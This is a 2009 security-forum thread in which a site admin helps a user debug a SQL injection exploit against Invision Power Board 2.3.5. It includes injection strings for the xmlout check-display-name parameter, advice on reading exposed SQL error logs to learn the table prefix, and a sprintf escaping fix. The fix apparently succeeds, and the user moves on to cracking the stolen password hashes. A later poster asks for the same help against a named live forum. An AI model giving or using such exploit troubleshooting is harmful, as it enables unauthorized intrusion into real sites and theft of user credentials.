|
|
|
|
|
|
IT Security and Insecurity Portal |
|
|
Help Important! Hacking IPB 2.3.5 |
|
Posted: Sun Jan 25, 2009 11:41 pm |
|
|
Cablekid |
Advanced user |
|
|
Joined: Jul 14, 2007 |
Posts: 85 |
|
|
|
|
|
|
|
|
|
|
|
Posted: Sun Jan 25, 2009 11:58 pm |
|
|
waraxe |
Site admin |
|
|
Joined: May 11, 2004 |
Posts: 2407 |
Location: Estonia, Tartu |
|
|
|
|
|
|
Do you get error message from exploit? |
|
|
|
|
Posted: Mon Jan 26, 2009 4:38 am |
|
|
Cablekid |
Advanced user |
|
|
Joined: Jul 14, 2007 |
Posts: 85 |
|
|
|
|
|
|
|
Hey, ya i get the error message from the exploit.
I also tried this
Code: | index.php?act=xmlout&do=check-display-name&name=%%2527%20OR%201=%%2522%%2527%%2522%20%s%20OR%201=%%2522%%2527%%2522-- | And i get IPS error.
The error i get is Invalid response, target URL not valid? Exiting ... |
|
|
|
|
Posted: Mon Jan 26, 2009 11:25 am |
|
|
waraxe |
Site admin |
|
|
Joined: May 11, 2004 |
Posts: 2407 |
Location: Estonia, Tartu |
|
|
|
|
|
|
Try this three tests and describe server response:
Code: |
act=xmlout&do=check-display-name&name=whatever98321%2527+OR+1=1--+
|
Code: |
act=xmlout&do=check-display-name&name=whatever98321%2527+OR+1=1/*
|
Code: |
act=xmlout&do=check-display-name&name=whatever98321%2527+OR+1=1%23
|
|
|
|
|
|
Posted: Mon Jan 26, 2009 5:46 pm |
|
|
Cablekid |
Advanced user |
|
|
Joined: Jul 14, 2007 |
Posts: 85 |
|
|
|
|
|
|
|
Okay This Is In order as your post.
Code: | IPS Driver Error
There appears to be an error with the database.
You can try to refresh the page by clicking here |
Code: | IPS Driver Error
There appears to be an error with the database.
You can try to refresh the page by clicking here |
|
|
|
|
|
Posted: Mon Jan 26, 2009 9:23 pm |
|
|
waraxe |
Site admin |
|
|
Joined: May 11, 2004 |
Posts: 2407 |
Location: Estonia, Tartu |
|
|
|
|
|
|
Good, so the problem seems to be in comments. Now open exploit with text editor and replace "-- " with "%23", this should be found in two places.
Let me know about results |
|
|
|
|
|
|
|
|
Posted: Mon Jan 26, 2009 9:59 pm |
|
|
Cablekid |
Advanced user |
|
|
Joined: Jul 14, 2007 |
Posts: 85 |
|
|
|
|
|
|
|
When i changed the -- to %23 under function test_target_url() i get
Code: | Sql table prefix: ibf_
Testing target URL ...
Target URL seems to be valid
Testing ID 461 Sql error! Wrong prefix? Exiting ... |
Then i changed the -- to %23 under function test_condition($p)
i get
Code: | Warning: sprintf() [function.sprintf]: Too few arguments in localhost/ex.php on line 318
test_condition() - try 1 - invalid return value ...
Trying again - try 2 ...
test_condition() - try 2 - invalid return value ...
Trying again - try 3 ...
test_condition() - try 3 - invalid return value ...
Trying again - try 4 ...
test_condition() - try 4 - invalid return value ...
Trying again - try 5 ...
test_condition() - try 5 - invalid return value ...
Trying again - try 6 ...
test_condition() - try 6 - invalid return value ...
Trying again - try 7 ...
test_condition() - try 7 - invalid return value ...
Trying again - try 8 ...
test_condition() - try 8 - invalid return value ...
Trying again - try 9 ...
test_condition() - try 9 - invalid return value ...
Trying again - try 10 ...
test_condition() - try 10 - invalid return value ...
Too many tries - exiting ... |
So now i guess it has a different table prefix? so that means unhackable? |
|
|
|
|
|
|
|
|
Posted: Tue Jan 27, 2009 11:38 pm |
|
|
Cablekid |
Advanced user |
|
|
Joined: Jul 14, 2007 |
Posts: 85 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Posted: Tue Jan 27, 2009 11:47 pm |
|
|
waraxe |
Site admin |
|
|
Joined: May 11, 2004 |
Posts: 2407 |
Location: Estonia, Tartu |
|
|
|
|
|
|
You can try to guess/bruteforce/dictionary attack prefix. Or try to use INFORMATION_SCHEMA, if mysql ver. >= 5.x
Of course this means exploit rewriting
One more thing: IPB <=2.3.5 usually writes sql errors to log file.
Example:
Code: |
http://localhost/ipb.2.3.5/cache/sql_error_log_12_05_08.cgi
|
This error file contains errors occured in 05. december 2008
You can read error messages in file if:
1. those files exist (ipb may not write them at all)
2. if webserver does not give you error 401,403 or 500
But if you are lucky, then inside log file you can find something like this:
Code: |
===================================================
Date: Fri, 05 Dec 2008 18:01:44 +0200
Error Number: 1064
Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '''' LIMIT 0,1' at line 1
IP Address: 127.0.0.1
Page: /ipb.2.3.5/index.php?act=xmlout&do=check-display-name&name=%2527
mySQL query error: SELECT members_display_name, id FROM ibf_members WHERE members_l_display_name=''' LIMIT 0,1
===================================================
|
As you can see, there is prefix in plaintext |
|
|
|
|
|
|
|
|
Posted: Wed Jan 28, 2009 12:50 am |
|
|
Cablekid |
Advanced user |
|
|
Joined: Jul 14, 2007 |
Posts: 85 |
|
|
|
|
|
|
|
I guess im lucky kind of? Its not the prefix causing the error?
The Logs are their. it says the prefix is ibf_
Here is an example
I did this from January the latest..
Couldent find the one i produced because i dont think its in their.
Code: |
Date: Tue, 27 Jan 2009 00:00:11 -0500
Error Number: 1017
Error: Can't find file: 'ibf_profile_portal_views' (errno: 2)
IP Address: XXXXXXXXXX
Page: /xxjj-x23474.html
mySQL query error: INSERT INTO ibf_profile_portal_views (views_member_id) VALUES(37474)
|
Here some from the befor Dec 21...
Code: | Date: Thu, 18 Dec 2008 04:11:17 -0600
Error Number: 2013
Error: Lost connection to MySQL server during query
IP Address: XX.xx.XXX.XXX
Page: /lofiversion/index.php/t33214710.html
mySQL query error: INSERT INTO ibf_sessions (id,member_name,member_id,member_group,login_type,running_time,ip_address,browser,location,in_error,location_1_type,location_1_id,location_2_type,location_2_id,location_3_type,location_3_id) VALUES('1259046c1954531cd90097d3142b1293','',0,2,0,1229595016,'XXX.XXX.XXX.XXX,'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.0.5) Gecko/2008120121 Firefox/3.0.5',',0,',0,'',0,'',0,'',0)
=================================================== |
|
|
|
|
|
|
|
|
|
Posted: Wed Jan 28, 2009 7:24 am |
|
|
Cablekid |
Advanced user |
|
|
Joined: Jul 14, 2007 |
Posts: 85 |
|
|
|
|
|
|
|
Ah i found my new 1 but it prefix is the same?
Code: | Date: Wed, 28 Jan 2009 02:22:59 -0500
Error Number: 1064
Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '''' LIMIT 0,1' at line 1
IP Address: xx.xx.xx.xx
Page: /index.php?act=xmlout&do=check-display-name&name=%2527
mySQL query error: SELECT members_display_name, id FROM ibf_members WHERE members_l_display_name=''' LIMIT 0,1
|
|
|
|
|
|
Posted: Wed Jan 28, 2009 11:20 am |
|
|
waraxe |
Site admin |
|
|
Joined: May 11, 2004 |
Posts: 2407 |
Location: Estonia, Tartu |
|
|
|
|
|
|
I can see the problem now ...
Code: |
Warning: sprintf() [function.sprintf]: Too few arguments in localhost/ex.php on line 318
|
"%23" must be "%%23" in that place, because it will be argument of "sprintf()"! |
|
|
|
|
Posted: Wed Jan 28, 2009 5:32 pm |
|
|
Cablekid |
Advanced user |
|
|
Joined: Jul 14, 2007 |
Posts: 85 |
|
|
|
|
|
|
|
Haha that was it! Thanks alot!!@!@!
Now i just gotta crack these hash's. |
|
|
|
|
Posted: Wed Jul 29, 2009 11:44 am |
|
|
littlemc |
Regular user |
|
|
Joined: Jul 29, 2009 |
Posts: 13 |
|
|
|
|
|
|
|
can i get help too?
i have the same problem
but for this forum i dont get any found on the 3 options you gave
the first 1 ends up with this errors
Code: |
Warning: Cannot modify header information - headers already sent by (output started at /home/admin/domains/izra.co.il/public_html/forum/conf_global.php:31) in /home/admin/domains/izra.co.il/public_html/forum/ips_kernel/class_ajax.php on line 204
|
the second ends up with IPS Driver Error
and the 3rd ends up with same error as the first
please help me its really imoprtent for me to hack to this 1 and they may update it soon |
|
|
|
|
www.waraxe.us Forum Index -> Invision Power Board
You cannot post new topics in this forum You cannot reply to topics in this forum You cannot edit your posts in this forum You cannot delete your posts in this forum You cannot vote in polls in this forum
|
All times are GMT
Page 1 of 1
|
|
|
Powered by phpBB © 2001-2008 phpBB Group
|
|
|
|
|